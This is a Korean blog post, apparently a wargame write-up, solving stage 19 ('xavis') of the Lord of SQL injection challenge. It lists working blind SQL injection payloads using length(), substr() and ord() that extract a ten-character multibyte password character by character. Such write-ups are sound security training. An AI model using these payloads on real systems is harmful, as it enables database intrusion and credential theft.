일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- oracle
- php
- GIT
- 자바스크립트 객체
- oracle db
- 자바스크립트 prototype
- 보안뉴스 요약
- 자바스크립트
- 오라클
- 깃허브
- 카카오프로젝트
- numpy
- 보안뉴스
- python
- 자바스크립트 element api
- 자바스크립트 API
- 카카오프로젝트 100
- 파이썬
- 보안뉴스한줄요약
- 자바스크립트 기본 문법
- 자바스크립트 jQuery
- 다크웹
- 보안뉴스요약
- 랜섬웨어
- Oracle SQL
- ES6
- 자바스크립트 node
- 카카오프로젝트100
- 보안뉴스 한줄요약
- javascript
- Today
- Total
FU11M00N
Lord of injection xavis(19)단계 본문
안녕하세요!! 슬슬 날이 쌀쌀해지네요.. 추워질려나봅니다!
그럼 코드 보시죠!
블라인드인젝션문제이고,
금지된것은 prob , _(언더바) , .(쩜) , ( ) 인것같습니다! 그리고
regex와 like 함수를 막고있네요!!
일단 항상 그랬듯 길이부터알아냅시다!
?pw=1234 ' or length(pw) =40 %23 을 해줬는데요,,
이번 문제는 길이가 40인듯합니다..
그럼 값을알아봅시다!
값은 substr 함수를 이용하여 알아보겠습니다!
문제가 좀 이상한것같아 아스키코드표에있는 값을 전부 대입해보니 값이안나와
확장 아스키코드표를 참고해 값을구해보니 나왔습니다.
확장아스키코드는 128~255 까지이고
확장아스키코드란 영문자와 숫자로 표현할수없는 문자를 넣어 확장하여 만든것입니다.
그럼 ord 함수를 이용해 풀어보겠습니다!
ascii를 와 ord의 차이점은
ascii는
Returns the numeric value of the leftmost character of the string str. Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII() works for 8-bit characters.
문자열 str 의 가장 왼쪽 문자의 숫자 값을 반환한다. str이 빈 문자열인 경우 0을 반환하십시오. 돌아온다
str이 NULL이면 NULL. ASCII()는 8비트 문자로 작동한다.
ord는
If the leftmost character of the string str is a multibyte character, returns the code for that character,
calculated from the numeric values of its constituent bytes using this formula
문자열의 왼쪽 끝 문자가 멀티바이트 문자인 경우 해당 문자의 코드를 반환하십시오.
If the leftmost character is not a multibyte character, ORD() returns the same value as the ASCII() function.
가장 왼쪽의 문자가 멀티 바이트 문자가 아닌 경우 ORD ()는 ASCII () 함수와 동일한 값을 반환합니다
더 자세한 정보는 https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
에서 확인하시면 되겠습니다!
위 사진과같이 하나에 4byte라고 알수있는데요,
ord 함수를 이용해 얻은 확장 아스키코드값 10진수의 값은 이렇게 10개입니다.
제가 아까 길이가 40이라고 했는데 pw의 갯수는 10개입니다.
한 글자당 4byte를 차지하고있어 4byte x 10 = 40 이라고 뜬것같습니다!
?pw=1234 'or ord(substr(pw,1,1))=184 %23
?pw=1234 'or ord(substr(pw,2,1))=249 %23
?pw=1234 'or ord(substr(pw,3,1))=197 %23
?pw=1234 'or ord(substr(pw,4,1))=176 %23
?pw=1234 'or ord(substr(pw,5,1))=198 %23
?pw=1234 'or ord(substr(pw,6,1))=208 %23
?pw=1234 'or ord(substr(pw,7,1))=196 %23
?pw=1234 'or ord(substr(pw,8,1))=161 %23
?pw=1234 'or ord(substr(pw,9,1))=164 %23
?pw=1234 'or ord(substr(pw,10,1))=187%23
확장 아스키로 알아낸 10진수 값입니다.
그럼 이 값을 변환하면(사이트 https://www.branah.com/ascii-converter)
¸ùÅ°ÆÐÄ¡¤» 가 나옵니다.
?pw=¸ùÅ°ÆÐÄ¡¤» 을 입력해주면 clear가 됩니다..
이 문제 처음엔 정말 쉬운문제로봤는데
너무 어려웠습니다ㅠㅠ..
'Web Hacking > Lord of injection' 카테고리의 다른 글
Lord of injection nightmare(18)단계 (0) | 2019.11.09 |
---|---|
Lord of injection succubus(17)단계 (0) | 2019.11.07 |
Lord of injection zombie_assassin(16단계) (0) | 2019.11.06 |
Lord of injecton assassin (15)단계 (0) | 2019.11.05 |
Lord of Injection giant(14)단계 (0) | 2019.11.04 |